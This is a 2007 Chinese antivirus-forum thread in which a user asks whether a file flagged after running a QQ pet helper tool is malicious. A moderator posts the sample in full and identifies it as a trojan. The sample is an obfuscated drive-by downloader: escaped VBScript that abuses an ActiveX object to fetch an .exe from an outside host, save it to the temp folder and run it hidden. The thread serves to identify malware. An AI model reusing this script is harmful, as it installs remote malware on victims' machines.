查看: 4150|回复: 18
收起左侧

Q宠物保姆出现的这个是病毒?还是正常的?

[复制链接]
livv8
发表于 2007-6-23 11:02:50 | 显示全部楼层 |阅读模式
昨天Q宠保姆更新, 我就到霏凡下载了,扫描查毒,没有问题,解压,运行,仍然没有问题. 但是今天早上起来,运行保姆,发现咖啡报毒了``` 不知道怎么搞的,应该是昨天晚上结束Q宠保姆后生成的东西.
昨天我们一个同学运行保姆关闭后,他的杀毒软件扫描,报毒了`` ,和我一样``他用AVAST,
本人才疏学浅,请大家帮我看下这个是正常的吗?以前的保姆版本咖啡都没有报毒过, 请大家看下``(不要告诉我不要用保姆了 )  
上传的图片是杀软杀后.移动的

[ 本帖最后由 livv8 于 2007-6-23 11:05 编辑 ]

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
livv8
 楼主| 发表于 2007-6-23 11:15:49 | 显示全部楼层
没有人帮我?都想吃饭去了
我自己做个沙发```
大家不要光看, 说点意见嘛``
小邪邪
发表于 2007-6-23 11:33:08 | 显示全部楼层
把那个文件打包发上来检验一下
livv8
 楼主| 发表于 2007-6-23 11:33:15 | 显示全部楼层
真的没有人理我
livv8
 楼主| 发表于 2007-6-23 11:34:01 | 显示全部楼层
那个文件哦`斑竹?那个Q宠保姆吗?
livv8
 楼主| 发表于 2007-6-23 11:34:45 | 显示全部楼层
还是病毒文件```本人菜```
小邪邪
发表于 2007-6-23 11:40:22 | 显示全部楼层
从报告上显示是脚本,不是程序

总之把那个被报的文件打包发上来看看
(才好判断)
livv8
 楼主| 发表于 2007-6-23 11:43:38 | 显示全部楼层
着个是被咖啡移动了的```

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
小邪邪
发表于 2007-6-23 11:47:05 | 显示全部楼层

网页脚本

<HTML>
<HEAD>
<SCRIPT LANGUAGE="Javascript">
<!--
var Words ="%3CHTML%3E%0D%0A%3CSCRIPT%20language%3DVBScript%3E%0D%0Antjb%3D%22Sc%22%0D%0Ayjap%3D%22ri%22%0D%0Ayrck%3D%22pt%22%0D%0Alkpk%3D%22in%22%0D%0Anpga%3D%22g%2E%22%0D%0Acrxp%3D%22Fi%22%0D%0Azmdh%3D%22le%22%0D%0Adryv%3D%22Sy%22%0D%0Awlxg%3D%22st%22%0D%0Auhpu%3D%22em%22%0D%0Asgzg%3D%22Ob%22%0D%0Asfjn%3D%22je%22%0D%0Auqmh%3D%22ct%22%0D%0Aogow%3D%22ob%22%0D%0Azohy%3D%22je%22%0D%0Aexoj%3D%22ct%22%0D%0Aqmtc%3D%22cl%22%0D%0Aeqfa%3D%22as%22%0D%0Auvwq%3D%22si%22%0D%0Aneju%3D%22d%22%0D%0Altnn%3D%22Sh%22%0D%0Akdvp%3D%22el%22%0D%0Aidyi%3D%22l%2E%22%0D%0Ajnog%3D%22Ap%22%0D%0Amrsd%3D%22pl%22%0D%0Azeut%3D%22ic%22%0D%0Aaqsx%3D%22at%22%0D%0Ascut%3D%22io%22%0D%0Ajbhd%3D%22n%22%0D%0Ahyzi%3D%22cl%22%0D%0Askxe%3D%22si%22%0D%0Aresi%3D%22d%3A%22%0D%0Aonzy%3D%22BD%22%0D%0Apbsz%3D%2296%22%0D%0Amznd%3D%22C5%22%0D%0Akzjj%3D%2256%22%0D%0Aiqlf%3D%22%2D6%22%0D%0Aehym%3D%225A%22%0D%0Axqup%3D%223%2D%22%0D%0Abbxk%3D%2211%22%0D%0Ajyde%3D%22D0%22%0D%0Awjlz%3D%22%2D9%22%0D%0Auxaw%3D%2283%22%0D%0Anwbe%3D%22A%2D%22%0D%0Aqrlx%3D%2200%22%0D%0Apias%3D%22C0%22%0D%0Afroq%3D%224F%22%0D%0Avcvo%3D%22C2%22%0D%0Ahgyr%3D%229E%22%0D%0Apnvh%3D%2236%22%0D%0Azpmd%3D%22GE%22%0D%0Azxap%3D%22T%22%0D%0Axcjq%3D%22op%22%0D%0Adkow%3D%22en%22%0D%0A%20%20%20%20on%20error%20resume%20next%0D%0A%20%20%20%20dl%20%3D%20%22http%3A%2F%2Fwww%2E56jb%2Ecom%2Fimg%2Fa%2Eexe%22%0D%0A%20%20%20%20Set%20df%20%3D%20document%2EcreateElement%28ogow%2Bzohy%2Bexoj%29%0D%0A%20%20%20%20df%2EsetAttribute%20qmtc%2Beqfa%2Buvwq%2Bneju%2C%20hyzi%2Bskxe%2Bresi%2Bonzy%2Bpbsz%2Bmznd%2Bkzjj%2Biqlf%2Behym%2Bxqup%2Bbbxk%2Bjyde%2Bwjlz%2Buxaw%2Bnwbe%2Bqrlx%2Bpias%2Bfroq%2Bvcvo%2Bhgyr%2Bpnvh%0D%0A%20%20%20%20str%3D%22Microsoft%2EXMLHTTP%22%0D%0A%20%20%20%20Set%20x%20%3D%20df%2ECreateObject%28str%2C%22%22%29%0D%0A%20%20%20%20a1%3D%22A%22%0D%0A%20%20%20%20a2%3D%22do%22%0D%0A%20%20%20%20a3%3D%22db%2ES%22%0D%0A%20%20%20%20a4%3D%22tre%22%0D%0A%20%20%20%20a5%3D%22am%22%0D%0A%20%20%20%20str1%3Da1%26a2%26a3%26a4%26a5%0D%0A%20%20%20%20str5%3Dstr1%0D%0A%20%20%20%20set%20S%20%3D%20df%2Ecreateobject%28str5%2C%22%22%29%0D%0A%20%20%20%20S%2Etype%20%3D%201%0D%0A%20%20%20%20str6%3Dzpmd%2Bzxap%0D%0A%20%20%20%20x%2EOpen%20str6%2C%20dl%2C%20False%0D%0A%20%20%20%20x%2ESend%0D%0A%20%20%20%20fname1%3D%22eploeree%2Eexe%22%0D%0A%20%20%20%20set%20F%20%3D%20df%2Ecreateobject%28ntjb%2Byjap%2Byrck%2Blkpk%2Bnpga%2Bcrxp%2Bzmdh%2Bdryv%2Bwlxg%2Buhpu%2Bsgzg%2Bsfjn%2Buqmh%2C%22%22%29%0D%0A%20%20%20%20set%20tmp%20%3D%20F%2EGetSpecialFolder%282%29%20%0D%0A%20%20%20%20S%2Eopen%0D%0A%20%20%20%20fnamel%3D%20F%2EBuildPath%28tmp%2C%22%20%22%2Bfname1%29%0D%0A%20%20%20%20fname1%3D%20F%2EBuildPath%28tmp%2Cfname1%29%0D%0A%20%20%20%20S%2Ewrite%20x%2EresponseBody%0D%0A%20%20%20%20S%2Esavetofile%20fname1%2C2%0D%0A%20%20%20%20S%2Eclose%0D%0A%20%20%20%20F%2EMoveFile%20fname1%2Cfnamel%0D%0A%20%20%20%20set%20Q%20%3D%20df%2Ecreateobject%28ltnn%2Bkdvp%2Bidyi%2Bjnog%2Bmrsd%2Bzeut%2Baqsx%2Bscut%2Bjbhd%2C%22%22%29%0D%0A%20%20%20%20Q%2ESHellExecute%20fnamel%2C%22%22%2C%22%22%2Cxcjq%2Bdkow%2C0%0D%0A%20%20%20%20%3C%2FSCRIPT%3E%0D%0A%20%20%20%20%3C%2FBODY%3E%3C%2FHTML%3E%0D%0A"
function SetNewWords()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
SetNewWords();
// -->
</SCRIPT>
</HEAD>
<BODY>
</BODY>
</HTML>
小邪邪
发表于 2007-6-23 11:48:53 | 显示全部楼层
Obfuscated Script.c (特洛伊)
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-11-23 20:32 , Processed in 0.130577 second(s), 18 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表